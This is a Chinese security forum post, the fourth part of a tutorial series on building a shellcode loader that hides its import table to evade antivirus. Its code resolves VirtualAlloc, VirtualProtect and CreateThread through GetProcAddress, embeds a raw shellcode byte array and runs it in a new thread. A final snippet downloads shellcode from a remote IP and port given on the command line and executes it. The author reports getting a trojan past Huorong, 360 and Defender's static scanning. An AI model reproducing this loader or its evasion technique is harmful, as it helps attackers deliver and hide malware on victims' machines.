安全矩阵

 找回密码
 立即注册
搜索
查看: 2050|回复: 0

从0开始写ShellCode加载器0x4-隐藏导入表

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-6-4 13:14:07 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2022-6-4 13:16 编辑

原文链接:从0开始写ShellCode加载器0x4-隐藏导入表 (qq.com)

杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。那么一个什么样的文件会被识别为病毒木马呢?
在开始此之前我们需要了解一些PE文件结构相关知识:导入地址表
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。- 来源百度百科
我们经常听到导出表和导入表两个词,简单来说,导出表的功能是将自身的函数,类等资源供其它程序调用,提供这类功能的程序叫做动态链接库DLL。而导入表的功能帮助程序调用DLL中的资源。
关于PE文件结构的更多信息,可以到我这篇文章中查看。
我们来分析一下第一课代码编译出来的exe文件,使用PEview工具查看。
编辑
在文件的导入地址表中,代码中调用的api一览无遗,Virtual Alloc、CreateThread这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。
因此我们尝试在PE文件中抹去导入函数的名称。
我们尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。
自定义函数指针
  1. //typedef用于类型定义,他允许用户为已经存在的数据类型起一个别名
  2. //WINAPI 意味 __stdcall,是一种函数调用方式,stdcall调用方式的函数声明为:int _stdcall function(int a, int b);
  3. /*
  4. stdcall的调用方式意味着:
  5. (1) 参数从右向左依次压入堆栈
  6. (2) 由被调用函数自己来恢复堆栈
  7. (3) 函数名自动加前导下划线,后面紧跟着一个@,其后紧跟着参数的尺寸
  8. */
  9. //微软文档对VirtualAlloc函数的定义
  10. /*
  11. LPVOID VirtualAlloc(
  12.   [in, optional] LPVOID lpAddress,
  13.   [in]           SIZE_T dwSize,
  14.   [in]           DWORD  flAllocationType,
  15.   [in]           DWORD  flProtect
  16. );
  17. */
  18. typedef LPVOID(WINAPI* ImportVirtualAlloc)(
  19.         LPVOID lpAddress,
  20.         SIZE_T dwSize,
  21.         DWORD  flAllocationType,
  22.         DWORD  flProtect
  23.         );
  24. //上述代码可以看作自己定义一个函数名为ImportVirtualAlloc,返回值、参数和VirtualAlloc相同的函数。
  25. //下面的定义同理。


  26. typedef HANDLE(WINAPI* ImportCreateThread)(
  27.         LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  28.         SIZE_T                  dwStackSize,
  29.         LPTHREAD_START_ROUTINE  lpStartAddress,
  30.         __drv_aliasesMem LPVOID lpParameter,
  31.         DWORD                   dwCreationFlags,
  32.         LPDWORD                 lpThreadId);

  33. typedef BOOL(WINAPI* ImportVirtualProtect)(
  34.         LPVOID lpAddress,
  35.         SIZE_T dwSize,
  36.         DWORD  flNewProtect,
  37.         PDWORD lpflOldProtect
  38.         );
复制代码

C
GetProcAddress函数用法

C

  1. FARPROC GetProcAddress(
  2.   [in] HMODULE hModule, //包含函数或变量的 DLL 模块的句柄。LoadLibrary、 LoadLibraryEx、LoadPackagedLibrary或 GetModuleHandle函数返回此句柄。
  3.   [in] LPCSTR  lpProcName //函数或变量名,或函数的序数值。如果该参数为序数值,则必须在低位字中;高位字必须为零。
  4. );
  5. //如果函数成功,则返回值是导出的函数或变量的地址。
  6. //如果函数失败,则返回值为 NULL。要获取扩展的错误信息,请调用 GetLastError。
复制代码

然后在main函数中,定义四个函数指针来存放这些函数的地址。

C
  1. ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
  2. ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
  3. ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
  4. ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
复制代码

接下来在代码中的函数换成自己定义的指针

C
  1. int main(){
  2.         int shellcode_size = 0;
  3.         DWORD dwThreadId; //线程id
  4.         HANDLE hThread;//线程句柄
  5.         DWORD dwOldProtect; //内存页属性
  6.         char buf[] = "\xfc\xe8\x82\x0\x0\x0\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\xc\x8b\x52\x14\x8b\x72\x28\xf\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x2\x2c\x20\xc1\xcf\xd\x1\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x1\xd1\x51\x8b\x59\x20\x1\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x1\xd6\x31\xff\xac\xc1\xcf\xd\x1\xc7\x38\xe0\x75\xf6\x3\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x1\xd3\x66\x8b\xc\x4b\x8b\x58\x1c\x1\xd3\x8b\x4\x8b\x1\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x1\x8d\x85\xb2\x0\x0\x0\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x6\x7c\xa\x80\xfb\xe0\x75\x5\xbb\x47\x13\x72\x6f\x6a\x0\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x0\x0";
  7.         shellcode_size = sizeof(buf);

  8.         char* shellcode = (char*)MyVirtualAlloc(
  9.                 NULL,//基址
  10.                 shellcode_size,  //大小
  11.                 MEM_COMMIT, //内存页状态
  12.                 PAGE_READWRITE //可读可写可执行
  13.         );
  14.        

  15.         //CopyMemory(shellcode, buf, shellcode_size);
  16.         memcpy(shellcode, buf, shellcode_size);
  17.         MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
  18.         hThread = MyCreateThread(
  19.                 NULL, // 安全描述符
  20.                 NULL, // 栈的大小
  21.                 (LPTHREAD_START_ROUTINE)shellcode, // 函数
  22.                 NULL, // 参数
  23.                 NULL, // 线程标志
  24.                 &dwThreadId // 线程ID
  25.         );
  26.         MyWaitForSingleObject(hThread, INFINITE);
  27.         return 0;
  28. }
复制代码
再用peview查看一下新生成的程序



编辑
导入表中已经没有Virtual Alloc、CreateThread这些函数了
将隐藏导入表代码和分离免杀的代码合并。检验一下效果。火绒,360静动全过,defender静态过了,动态被杀。暂时不上传virustotal检测了,之前检测率7/65的木马,今天再上传已经是23/65了,看来杀软也在分析标记virustotal上的样本。除了颠覆性的技术出现让所有杀软都检测不出来,免杀大多数时候过主流杀软就可以了。
通过命令行参数将shellcode地址传给程序,避免暴露ip等信息。

C
  1. int main(int argc, char* argv[])
  2. {
  3.         if (argc != 4) {
  4.                 exit(0);
  5.         }
  6.         char* data;
  7.         char *ip = argv[1];
  8.         int port = stoi(argv[2]);
  9.         char *filename = argv[3];
  10.         data = WinGet(ip, port, filename);
  11.         cout << "返回的数据为: " << data << endl;
  12.         cout << argc;
  13.         char* buf = StrToShellcode(data);
  14.         load(buf, 2048);
  15. }
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 11:48 , Processed in 0.012350 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表